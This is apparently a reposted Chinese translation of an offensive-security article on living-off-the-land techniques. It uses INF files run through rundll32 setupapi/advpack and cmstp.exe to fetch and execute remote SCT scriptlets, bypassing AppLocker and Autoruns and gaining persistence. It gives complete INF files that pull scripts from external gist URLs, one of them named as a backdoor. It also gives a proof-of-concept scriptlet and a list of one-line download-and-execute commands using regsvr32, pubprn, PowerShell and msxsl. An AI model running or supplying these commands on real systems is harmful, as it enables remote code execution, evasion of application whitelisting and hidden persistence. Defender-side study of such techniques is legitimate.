您好,登錄后才能下訂單哦!
本篇文章為大家展示了如何利用INF Script下載執(zhí)行技術(shù)來進(jìn)行繞過、免殺和持久化,內(nèi)容簡明扼要并且容易理解,絕對(duì)能使你眼前一亮,通過這篇文章的詳細(xì)介紹希望你能有所收獲。
通過對(duì)MSDN上一些處理不同COM腳本的調(diào)查和測試,結(jié)合網(wǎng)上的分享,我發(fā)現(xiàn)了一些有意思的東西,這些發(fā)現(xiàn)可能是遠(yuǎn)程調(diào)用執(zhí)行腳本新方法。
其中最有意思的是LaunchINFSection
。
這篇文章主要討論一下網(wǎng)上公開的利用INF Script
的方法,并介紹下LaunchINFSection
,最后再分享一些用法和作為防御者應(yīng)該注意的事項(xiàng)。另外,還會(huì)給出一些其他遠(yuǎn)程執(zhí)行腳本方法的參考。
INF Script
執(zhí)行方法通過INF配置文件來執(zhí)行腳本文件(.sct
)的方法會(huì)涉及到InstallHinfSection(setipapi.dll)
,CMSTP
和LaunchINFSection(advpack.dll)
。
InstallHinfSection
執(zhí)行INF Script
腳本在DerbyCon 2017中KyleHanslovan
和ChrisBisnett
展示了一個(gè)非常有意思的東西,我已經(jīng)將其翻譯和整理過來(傳送門:透過Autoruns看持久化繞過姿勢(shì)的分享 )。他們展示 了一種通過INF 遠(yuǎn)程調(diào)用執(zhí)行sct
腳本文件的方法:rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 [path to file.inf]
作者給出的INF文件如下:
; ----------------------------------------------------------------------
; Required Sections
; ----------------------------------------------------------------------
[Version]
Signature=$CHICAGO$
Provider=test
Class=Printer
[Manufacturer]
HuntressLabs=ModelsSection,NTx86,NTia64,NTamd64
; ----------------------------------------------------------------------
; Models Section
; ----------------------------------------------------------------------
[ModelsSection.NTx86]
UnregisterDlls = Squiblydoo
[ModelsSection.NTia64]
UnregisterDlls = Squiblydoo
[ModelsSection.NTamd64]
UnregisterDlls = Squiblydoo
; ----------------------------------------------------------------------
; Support Sections
; ----------------------------------------------------------------------
[DefaultInstall]
UnregisterDlls = Squiblydoo
[Squiblydoo]
11,,scrobj.dll,2,60,https://gist.githubusercontent.com/subTee/24c7d8e1ff0f5602092f58cbb3f7d302/raw/ef22366bfb62a2ddea8c5e321d3ce2f4c95d2a66/Backdoor-Minimalist.sct
上面的命令會(huì)去調(diào)用默認(rèn)INF塊,即DefaultInstall
,在這個(gè)塊下,通過UnregisterDlls
調(diào)用了Squiblydoo
塊下的惡意命令,通過scrobj.dll
下載并執(zhí)行指定的腳本文件。
CMSTP
執(zhí)行INF Script
腳本NickTyrer
展示了一種用cmstp.exe
加載INF文件來下載SCT腳本并執(zhí)行COM腳本文件的方法。Oddvarmoe
曾展示了用cmdtp.exe
來繞過UAC和AppLocker默認(rèn)策略。
基本用法如下:cmstp.exe /s [file].inf
INF文件內(nèi)容參考如下:
;cmstp.exe /s cmstp.inf
[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
UnRegisterOCXs=UnRegisterOCXSection
[UnRegisterOCXSection]
%11%\scrobj.dll,NI,https://gist.githubusercontent.com/NickTyrer/0604bb9d7bcfef9e0cf82c28a7b76f0f/raw/676451571c203303a95b95fcb29c8b7deb8a66e0/powersct.sct
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="Yay"
ShortSvcName="Yay"
通過如上的INF文件,cmstp.exe
會(huì)調(diào)用文件中的DefaultInstall_SingleUser
塊。在這個(gè)塊中,UnRegisterOCXs
調(diào)用了UnRegisterOCXSection
塊來執(zhí)行惡意操作,通過scrobj.dll
來下載并執(zhí)行指定的SCT腳本文件。
LaunchINFSection
執(zhí)行INF Script
腳本根據(jù)MSDN的說明,LaunchINFSection
是Advanced INF Package Installer(advpack.dll
)的一個(gè)方法,用來調(diào)用INF文件中的某個(gè)塊。從管理員的角度看,INF文件是一個(gè)用來安裝設(shè)備驅(qū)動(dòng)或Windows .cab
文件的指令文件,包括注冊(cè)Windows二進(jìn)制(exe,dll,ocx),在注冊(cè)表中增加鍵值,或設(shè)置一些關(guān)鍵參數(shù)的操作。
調(diào)用LaunchINFSection
的方法如下:rundll32.exe advpack.dll,LaunchINFSection [file].inf, [INF Section], [Path to Cab].cab, [Installation Flags]
如果不指定[INF Section]
,LaunchINFSection
將會(huì)調(diào)用默認(rèn)的DefaultInstall
塊。另外,值得注意的是,advpack.dll
還提供了LaunchINFSectionEX
方法和與其它字符集兼容的LaunchINFSectionA
,來完成LaunchINFSection
同樣的功能。
作為PoC例子,我們使用如下的INF和SCT文件來測試:
INF文件(保存為test.inf):
;cmstp.exe /s cmstp.inf
[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
UnRegisterOCXs=UnRegisterOCXSection
[UnRegisterOCXSection]
%11%\scrobj.dll,NI,https://gist.githubusercontent.com/bohops/6ded40c4989c673f2e30b9a6c1985019/raw/33dc4cae00a10eb86c02b561b1c832df6de40ef6/test.sct
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="Yay"
ShortSvcName="Yay"
SCT文件:
XML version="1.0"
<scriptlet>
<registration
description="Bandit"
progid="Bandit"
version="1.00"
classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
>
<!-- regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll
<!-- DFIR -->
<!-- .sct files are downloaded and executed from a path like this -->
<!-- Though, the name and extension are arbitary.. -->
<!-- c:\users\USER\appdata\local\microsoft\windows\temporary internet files\content.ie5\2vcqsj3k\file[2].sct -->
<!-- Based on current research, no registry keys are written, since call "uninstall" -->
<!-- Proof Of Concept - Casey Smith @subTee -->
<!-- @RedCanary - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/atomic-dev-cs/Windows/Payloads/mshta.sct -->
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</registration>
<public>
<method name="Exec"></method>
</public>
<script language="JScript">
<![CDATA[
function Exec()
{
var r = new ActiveXObject("WScript.Shell").Run("notepad.exe");
}
]]>
</script>
</scriptlet>
使用下面的命令來執(zhí)行一下:rundll32.exe advpack.dll,LaunchINFSection test.inf,DefaultInstall_SingleUser,1,
如果網(wǎng)絡(luò)沒有問題的話,會(huì)出現(xiàn)我們可愛的計(jì)算器:
這里,我們還可以用稍微不同的方法啟動(dòng)我們的程序,例如,把INF文件中的入口塊改成DefaultInstall
,那么我們就可以使用下面的命令執(zhí)行程序,而無需指定一個(gè)塊名字:
rundll32.exe advpack.dll,LaunchINFSection test.inf,,1,
另外,我們也可以將卸載OCX的命令改成一個(gè)安裝/注冊(cè)的命令RegisterOCXs
,并且隨便一個(gè)名字來運(yùn)行我們的程序:
CMSTP可用來繞過Autoruns(當(dāng)開啟隱藏Windows條目時(shí)),如下圖:
當(dāng)不啟用隱藏過濾功能時(shí),CMSTP做的自啟動(dòng)項(xiàng)如下:
注意:LaunchINFSection和InstallHinfSection不會(huì)以繞過新版本的Autoruns,因?yàn)檫@種啟動(dòng)方法依靠rundll32.exe調(diào)用相應(yīng)的dll。當(dāng)啟用過濾時(shí),Autoruns還是會(huì)顯示這些自啟動(dòng)項(xiàng)。但是,LaunchINFSection
提供了我們一種通過程序白名單繞過AppLocker規(guī)則來獲得代碼執(zhí)行
的技術(shù)。
下圖是通過scrobj.dll來下載一個(gè)SCT文件時(shí)產(chǎn)生的流量:
SCT文件只不過是text/XML
文檔,而INF文件只不過是text
文檔,其后綴擴(kuò)展名可以不是.sct
或.inf
,但依然可以成功執(zhí)行。(此處譯者并沒有實(shí)驗(yàn)成功,希望各位表哥賜教?。?/p>
使用INF文件執(zhí)行并不是唯一可以執(zhí)行SCT腳本文件的方法,還有一些其它方法:
RegSvr32/Scrobj.dll
regsvr32 /s /n /u /i: http://url/file.sct scrobj.dll
PubPrn
pubprn.vbs 127.0.0.1 script:http ://url/file.sct
[Reflection.Assembly]::LoadWithPartialName('Microsoft.JScript');[Microsoft.JScript.Eval]::JScriptEvaluate('GetObject("script: http://url/file.sct").Exec()',[Microsoft.JScript.Vsa.VsaEngine]::CreateEngine())
[Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');[Microsoft.VisualBasic.Interaction]::GetObject('script: http://url/file.sct').Exec(0)
值得注意的是,sct
并不是唯一一種文件,還有其他的,如:
MsXSL
msxsl.exe http://url/file.xml http://url/file.xsl
$s=New-Object System.Xml.Xsl.XsltSettings;$r=New-Object System.Xml.XmlUrlResolver;$s.EnableScript=1;$x=New-Object System.Xml.Xsl.XslCompiledTransform;$x.Load('http://url/file.xsl',$s,$r);$x.Transform('http://url/file.xml','z');del z;
上述內(nèi)容就是如何利用INF Script下載執(zhí)行技術(shù)來進(jìn)行繞過、免殺和持久化,你們學(xué)到知識(shí)或技能了嗎?如果還想學(xué)到更多技能或者豐富自己的知識(shí)儲(chǔ)備,歡迎關(guān)注億速云行業(yè)資訊頻道。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請(qǐng)聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。